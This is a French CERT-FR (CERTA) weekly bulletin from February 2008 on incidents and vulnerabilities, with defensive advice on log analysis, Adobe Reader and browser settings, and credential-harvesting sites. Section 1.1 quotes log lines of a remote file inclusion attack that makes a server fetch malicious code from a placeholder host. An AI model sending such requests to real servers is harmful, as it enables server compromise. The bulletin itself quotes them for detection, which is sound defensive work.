S.G.D.S.N
Agence nationale
de la sécurité des
systèmes d'information
Paris, le 15 février 2008
N° CERTA-2008-ACT-007
Affaire suivie par: CERT-FR
le 15 février 2008

Bulletin d'actualité du CERT-FR

Objet: Bulletin d’actualité 2008-07

Gestion du document

Référence CERTA-2008-ACT-007
Titre Bulletin d’actualité 2008-07
Date de la première version 15 février 2008
Date de la dernière version 15 février 2008
Source(s)
Pièce(s) jointe(s) Aucune(s)
Tableau 1: Gestion du document

Une gestion de version détaillée se trouve à la fin de ce document.

1 Les incidents traités cette semaine

1.1 Analyse de journaux : clé de la détection d’incident

Cette semaine le CERTA a eu à traiter le cas d’un serveur mutualisé comprenant de nombreux sites. Il a été de nouveau compromis via l’un des sites hébergés.

La première compromission avait été relevée et signalée à la fin de l’année 2007. Le serveur contenait un programme malveillant qui essayait de se répliquer en compromettant à leur tour d’autres sites. Ces attaques avaient été détectées grâce à l’analyse de journaux d’un des sites ciblés. La source avait été identifiée par son adresse IP (xx.xx.xx.xx). Les traces en question avaient la forme suivante :

xx.xx.xx.xx [15/Dec/2007:01:00:22] « GET
/serveur_attaqu�/index.php?var=http://site_malveillant/code_malveillant.txt?  »

La connexion est démarrée par le serveur compromis qui fait une requête HTTP de type GET, elle est donc « sortante ». La vulnérabilité utilisée pour la compromission a été identifiée et corrigée, le programme malveillant retiré et les connexions sortantes bloquées.

La seconde compromission a encore été détectée grâce à l’analyse de journaux d’autres serveurs. Si les attaques restent du même type, le rôle du serveur victime a lui changé. Il est utilisé comme site d’hébergement pour logiciels malveillants. Les traces obtenues dans les journaux d’un site ciblé ont la forme suivante :

 yy.yy.yy.yy [04/Feb/2008:03:02:15] « GET
/serveur_attaque/index.php?=http://serveur_compromis/code_malveillant.txt? »

Le serveur en question est lui reconnaissable par son nom de domaine :

http://serveur\_compromis/

qui correspond à l’adresse IP xx.xx.xx.xx.

Le CERTA rappelle que l’analyse des journaux est indispensable pour la sécurité des systèmes d’information. Cela reste l’une des clés pour détecter un incident.

1.2 Des erreurs qui prêtent à confusion

Lors de l’analyse des journaux des connexions des serveurs web, il est fréquent de constater des erreurs qui sont dues à :

  • des liens erronés dans le code source des pages ;
  • des redirections internes ;
  • des tentatives d’attaque ;
  • des configurations particulières du navigateur de l’internaute.

Cet article s’intéresse à un type d’erreur produit par une configuration particulière du navigateur web de l’internaute. En effet il est fréquent de constater dans les journaux des connexions des demandes d’accès aux pages suivantes :

/_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=6551&STRMVER=4&CAPREQ=0
/MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=6551&STRMVER=4&CAPREQ=0

Le chiffre 6551 peut varier.

Ces erreurs ne sont pas des tentatives d’attaque contre le serveur web, mais bien des accès légitimes. En effet, une option présente dans Internet Explorer permet de commenter des documents publiés sur des serveurs web IIS de Microsoft. Cette option s’appelle Discussions et affiche une barre d’outils spécifique dans la fenêtre de navigation. Une fois activée, le navigateur tente de contrôler la présence de la fonctionnalité de discussion sur le page visitée. Si la fonctionnalité n’est pas présente, la tentative du navigateur produit les lignes d’erreurs précédentes dans les journaux des connexions.

Pour activer (ou désactiver) cette fonctionnalité sous Internet Explorer, il suffit de cocher (ou décocher) l’option Discuter de la rubrique Volet d’exploration du menu Affichage.

Le CERTA recommande de désactiver cette option par défaut et de ne l’activer, si nécessaire, que sur les documents des sites acceptant cette fonctionnalité.

1.3 Une page de connexion sans intérêt

Cette semaine le CERTA a traité un incident dans lequel le responsable d’un site Internet avait mis en ligne une page de paiement en ligne. Cette page invitait les internautes à se connecter directement sur leur compte, en saisissant leurs informations de connexion.

Le comportement du responsable de ce site est imprudent car la page en question utilise le protocole HTTP et non HTTPS. De plus, il prête à confusion : s’agit-il d’une page de filoutage ou s’agit-il simplement d’une page de connexion au formulaire d’un site extérieur ?

Dans cet incident, le site a régulièrement été interdit par l’hébergeur suite à des dénonciations comme site de filoutage alors que l’intention du responsable de ce site n’était pas malveillante. En effet, en regardant attentivement le code de la page, on peut constater que les données ne sont pas envoyées sur ce site mais directement au formulaire de connexion du site de paiement.

Le CERTA recommande aux administrateurs de site de ne jamais demander sur un site Internet des identifiants de connexion pour un autre site. Les internautes sont, quant à eux, invités à ne saisir leurs identifiants de connexion que sur le site sur lequel ils souhaitent se connecter et non sur un site tiers.

2 Vulnérabilité dans le noyau Linux

Le CERTA a publié un avis CERTA-2008-AVI-067 sur une vulnérabilité présente dans le noyau Linux. Cette faille est relative à la mise en oeuvre des tubes de communication ou « pipes ». Son exploitation permet à un utilisateur standard d’un système GNU/Linux basé sur un noyau de la branche 2.6 (comme dans la plupart des distributions du marché) d’élever ses privilèges et de devenir administrateur (root). Cette vulnérabilité, de type « élévation de privilèges », pourrait être exploitée à la suite d’une injection de code indirecte (cross-site scripting) ou d’une injection de code à distance pour prendre le contrôle total de la machine et pas seulement d’un simple compte relatif au service vulnérable.

Cette vulnérabilité est corrigée dans la dernière version du noyau (2.6.24.2) et dans les noyaux des principales distributions. Il convient de s’assurer que les systèmes administrés sont effectivement mis à jour et, si ce n’était le cas, de les mettre à jour dans les plus brefs délais.

3 Vulnérabilité du générateur de pseudo-aléa du serveur DNS de OpenBSD

Il y a quelques mois, le CERTA publiait l’avis CERTA-2007-AVI-327 relatif à une faiblesse dans les générateurs de pseudo-aléa utilisés pour construire les identifiants de requêtes DNS dans les versions les plus répandues du serveur DNS : BIND 9.x. À la date de sortie de cet avis, l’équipe du projet OpenBSD avait signalé que le système OpenBSD utilisait son propre générateur et que, par conséquent, le serveur DNS inclus dans OpenBSD n’ était pas vulnérable bien que basé sur BIND.

Cependant, une publication récente contredit cette affirmation.

La vulnérabilité citée permettrait de réaliser des attaques de type empoisonnement de cache DNS (DNS cache poisoning). L’équipe OpenBSD n’a pas confirmé ou infirmé cette publication.

Si un serveur DNS est installé sur OpenBSD, il est recommandé de surveiller les journaux système à la recherche de réponses DNS nombreuses n’ayant pas forcement de raisons d’être et de surveiller une volumétrie anormalement élevée de paquets dont le port source serait le 53 UDP ou TCP.

4 Retour sur les vulnérabilités d’Adobe Reader

4.1 Les vulnérabilités

Le CERTA a publié l’avis CERTA-2008-AVI-053, associé à plusieurs vulnérabilités dans le lecteur Adobe Reader.

De nature initialement inconnue, la vulnérabilité est finalement apparue comme critique, liée au support du JavaScript dans le format PDF. Elle permet d’exécuter du code arbitraire à distance.

Le correctif de l’éditeur Adobe corrige uniquement la version 8 d’Acrobat Reader, et il n’existe à la date de rédaction de ce bulletin aucune mise à jour pour la version 7.

Du code malveillant a été publié. Il semblerait que certaines souches soient en circulation depuis plusieurs semaines. L’ouverture d’un tel document permet à la personne malveillante de prendre le contrôle total de la machine. Un facteur aggravant est l’ouverture de tels documents de manière automatique par certains navigateurs Web. Cette fonctionnalité peut être activée par défaut.

La version 7 n’est plus directement accessible sur le site de l’éditeur, et son installation par défaut peut conduire au passage à la version 8 (une fenêtre demande à l’utilisateur s’il souhaite faire ce passage). Néanmoins, plusieurs versions vulnérables peuvent être fournies via des cédéroms ou des sites tiers, par exemple.

Le CERTA invite ses correspondants à bien vérifier les versions déployées et à prendre les mesures nécessaires si besoin. Ces dernières peuvent être une mise à jour vers la version 8.1.2. Elles peuvent aussi consister, dans l’objectif d’une défense en profondeur, à limiter certaines interactions entre les lecteurs et les navigateurs. Des suggestions sont fournies ci-dessous.

4.2 La configuration du lecteur

Adobe Acrobat Reader interprète par défaut le JavaScript. Ce dernier peut cependant être désactivé dans les options :

  • se rendre dans le menu déroulant « Edition » ;
  • choisir « Préférences… » ;
  • sélectionner la catégorie « JavaScript » dans la liste présentée ;
  • décocher la case « Activer Acrobat JavaScript ».

Une autre option de configuration est intéressante pour limiter les risques d’ouverture de documents au cours d’une navigation sur l’Internet. Elle consiste à autoriser ou non l’ouverture de documents PDF dans le navigateur Web :

  • se rendre dans le menu déroulant « Edition » ;
  • choisir « Préférences… » ;
  • sélectionner la catégorie « Internet » dans la liste présentée ;
  • décocher les cases suivantes :
    • « Afficher dans le navigateur » ;
    • « Autoriser l’affichage rapide des pages Web » ;
    • « Autoriser le téléchargement spéculatif à l’arrière-plan ».

Un redémarrage peut être demandé à la suite de ces manipulations.

Cette manipulation n’est pas toujours suffisante. Elle doit être accompagnée d’une modification de configuration au niveau du navigateur afin de lui préciser de ne pas ouvrir automatiquement les documents.

4.3 La configuration du navigateur

Dans le cas de Microsoft Internet Explorer, il faut compléter l’étape précédente par le changement de valeur dans la clé de registre :

Dans :
[HKEY_CLASSES_ROOT\AcroExch.Document.7]
modifier :
        « EditFlags »= 00 00 00 00
en remplacement de :
        « EditFlags »= 00 00 01 00

Dans le cas de Mozilla Firefox, il faut modifier les actions spécifiques aux extensions PDF. Cela est possible en suivant dans les « Préférences » l’onglet « Contenu ». Les actions sont modifiables en cliquant sur « Gérer » correspondant à « Configurer la façon de traiter certains types de fichiers par Firefox ».

Extension       Type de fichier                 Action
(…)
PDF             Portable Document Format        Enregistrer sur le disque

Il est préférable de supprimer toute action automatique et de choisir le moment voulu l’action à entreprendre.

Pour Safari sous MacOSX, il faut décocher dans le menu « Général » des « Préférences » l’option :

    o    Ouvrir automatiquement les fichiers « fiables »

Les fichiers « fiables » incluent les s�quences, les images, la musique,
les documents PDF et textes, ainsi que les images disque et autres
archives.

4.4 Des lecteurs alternatifs

Le lecteur comprendra ici que les vulnérabilités sont associées à des méthodes JavaScript mises en oeuvre dans des documents PDF. D’autres lecteurs peuvent remplacer Adobe Reader pour une lecture de documents PDF, si les fonctionnalités « étendues » de ce format ne sont pas toutes indispensables, par exemple :

Cette liste est non exhaustive, et le but n’est pas ici de privilégier un lecteur plutôt qu’un autre. Le point important est que certains d’entre eux ne mettent pas en oeuvre des fonctionnalités parmi les nombreuses qu’offre le format PDF. Une mesure peut donc consister à utiliser ces lecteurs quand cela est suffisant. La surface d’attaque du poste de travail en est d’autant diminuée.

5 Discussions à propos de Mozilla Firefox

Le 11 février 2008, Mozilla a publié le correctif 2.0.0.12 pour son navigateur Firefox, qui corrige notamment une faille permettant d’accéder à des fichiers image ou à des scripts présents sur l’ordinateur d’un utilisateur si certaines extensions sont installées (cf. CERTA-2008-ACT-004).

Une nouvelle vulnérabilité a récemment été annoncée par un chercheur. En utilisant la méthode view-source combinée avec une URI de type ressource://, il serait possible de visualiser les préférences d’un utilisateur. Cette faille ayant été relayée sur plusieurs sites médiatiques, une personne travaillant chez Mozilla a réagi. Elle a toutefois démenti l’impact de ceci, en affirmant que ce n’est pas une vulnérabilité. En effet, les seuls fichiers pouvant être accédés de cette manière sont ceux du répertoire d’installation du navigateur, et non le répertoire de profil de l’utilisateur. Ainsi, aucun fichier de préférences ne peut être visualisé, mais seulement des fichiers installés par défaut.

Toutefois, certaines extensions peuvent écrire dans ce répertoire, et on pourrait théoriquement visualiser certains fichiers non présents par défaut. Un exemple serait le fichier XPinstall.manifest (installé par l’extension XULmaker), qui contiendrait le chemin d’installation du navigateur. Cette faille pourrait avoir un impact plus important si elle était combinée avec d’autres vulnérabilités. Le CERTA confirme cependant qu’il n’y a pas lieu de s’alarmer pour le moment.

N’ayant pas confirmé la vulnérabilité à la date d’écriture de cet article, l’éditeur n’a pour le moment pas prévu de correctif.

Documentation

6 L’actualité Microsoft

Le 12 février 2008, Microsoft a publié 11 bulletins de sécurité afin de combler dix-sept vulnérabilités. Les principales concernent la suite de logiciels de bureautique Office comme décrit dans les bulletins MS08-009, MS08-012, MS08-013 détaillant des exécution de code arbitraire respectivement dans Word, Publisher et l’ensemble des logiciels de la suite. Office est également atteint par une vulnérabilité du convertisseur Works permettant d’exécuter du code arbitraire à distance. Les détails de cette vulnérabilité sont disponibles dans le bulletin de sécurité MS08-011. Du code d’exploitation de cette vulnérabilité est déjà disponible sur l’Internet mais son impact reste limité car il est nécessaire de convertir un fichier malveillant du format WPS au format RTF pour que cette exploitation fonctionne. L’étape de « conversion » est souvent conseillée en terme de sécurité afin de perturber le fonctionnement de codes malveillants. Dans le cas présent, ce principe ne s’applique pas car c’est la « conversion » qui permet d’exploiter la vulnérabilité.

Des logiciels liés à l’Internet présentent également des vulnérabilités :

  • le serveur IIS est sujet à une élévation de privilèges et une exécution de code arbitraire à distance (cf. MS08-005 et MS08-006). Cette vulnérabilité est exploitable via une page écrite en ASP spécialement conçue. La réussite de cette exploitation permet à un individu malveillant d’obtenir des droits utilisateur ou système selon les scenarii de configuration du serveur.
  • le client Internet Explorer présente une vulnérabilité permettant également une exécution de code arbitraire à distance (cf. MS08-010).

Les autres vulnérabilités permettent d’exécuter du code arbitraire à distance pour le mini-redirecteur WebDAV (cf. MS08-007) et le protocole OLE Automation (cf. MS08-008), un déni de service à distance et un contournement de la politique de sécurité pour le traitement du DHCP (cf. MS08-004) de Windows Vista, l’Active directory (cf. MS08-003).

L’ensemble des correctifs proposé par Microsoft ne comble cependant pas la vulnérabilité dans Excel qui a fait l’objet de l’alerte CERTA-2008-ALE-003.

Le CERTA recommande la lecture des avis émis mercredi 13 février pour plus d’information sur l’ensemble de ces vulnérabilités.

Documentation

7 Est-ce vraiment un service ?

Des sites proposent la vérification de la liste de contacts des comptes de messagerie instantanée. Ce service, moyennant la fourniture des identifiants et mots de passe du compte, permet de vérifier quels contacts dans la liste ont supprimé et/ou bloqué l’adresse fournie. Ce service permet de savoir qui sont les personnes qui ne désirent plus être contactées par le propriétaire du compte. Derrière ce service se cache un moyen de récolter des adresses électroniques et des données personnelles.

Ces sites sont le plus souvent rédigés dans un mauvais français. Ils profitent de l’accès aux comptes de messagerie instantanée pour changer le nom de l’utilisateur lorsqu’il se reconnecte à la messagerie et pour envoyer un lien publicitaire à l’ensemble des contacts de la liste.

Ces liens mènent parfois vers des sites aux contenus malveillants afin de corrompre la machine du visiteur. Les données récoltées peuvent également servir à propager un nouveau ver de messagerie instantanée.

Ces services sont à rapprocher des ceux prétendant lutter contre le vol d’identité décrits dans le bulletin d’actualité CERTA-2007-ACT-004. Le CERTA rappelle qu’il ne faut jamais fournir des données personnelles ou des coordonnées des comptes à des sites Internet dont l’intégrité et la sincérité ne sont pas assurées. Le CERTA rappelle également les risques importants associés aux clients de messagerie instantanée. Ceux-ci ont fait l’objet d’un article dans le bulletin d’actualité CERTA-2007-ACT-051.

Documentation

8 La difficulté de mesurer, et l’interprétation des mesures

Le titre évoqué est très large. Cet article concerne en réalité la simplicité apparente et souvent trompeuse de la mesure de capacité dans un réseau IP. Il fait suite à une note publiée par l’IETF, apparue sous la référence RFC 5136.

Cette note évoque en particulier les problèmes de terminologie (distinction entre capacité et bande passante) et des précisions permettant ensuite de faire des comparaisons entre éléments du réseau.

Les différentes couches protocolaires ajoutent toutes un surcoût de données échangées, vis-à-vis de celles effectives. A valeur d’exemple, les couches 1 et 2 (Physique et Liaison selon OSI) peuvent mettre en oeuvre des techniques de détection ou d’évitement de collision, des mesures de correction d’erreur, etc. Les données échangées dans ces couches peuvent aussi dépendre du nombre d’utilisateurs désirant accéder au medium, et de leurs activités.

Le standard insiste donc sur le fait que définir une capacité ou une bande passante n’a de valeur qu’en précisant les couches protocolaires utilisées. Il distingue en particulier :

  • la capacité physique théorique du lien (nominal physical link capacity) : elle se mesure à la couche 1 (Physique) ;
  • la capacité IP du lien (IP-Type-P link capacity) : elle se mesure à la couche 3 (Réseau IP) et comprend dans le calcul les bits de l’en-tête du protocole IP.
  • la capacité IP du chemin (IP-Type-P path capacity) ;
  • etc.

Le standard distingue de ces définitions de « capacités » :

  • l’« usage » d’un lien ou d’un chemin : il s’agit des bits correctement reçus.
  • l’« utilisation » d’un lien ou d’un chemin : c’est le pourcentage de la capacité actuellement utilisée.

Le standard montre plusieurs exemples illustrant la difficulté de mesure (cf. scenarii avec compression).

Que faut-il retenir de tout çà ?

Les chiffres annoncés par certains vendeurs peuvent être vagues. Il est cependant important de bien comprendre comment les tests ont été effectués, et ce que les chiffres annoncés signifient réellement.

Une mauvaise compréhension peut parfois avoir des conséquences surprenantes.

Rappel des avis émis

Dans la période du 04 au 10 février 2008, le CERT-FR a émis les publications suivantes :


Durant la même période, les publications suivantes ont été mises à jour :

Gestion détaillée du document

    le 15 février 2008
    version initiale.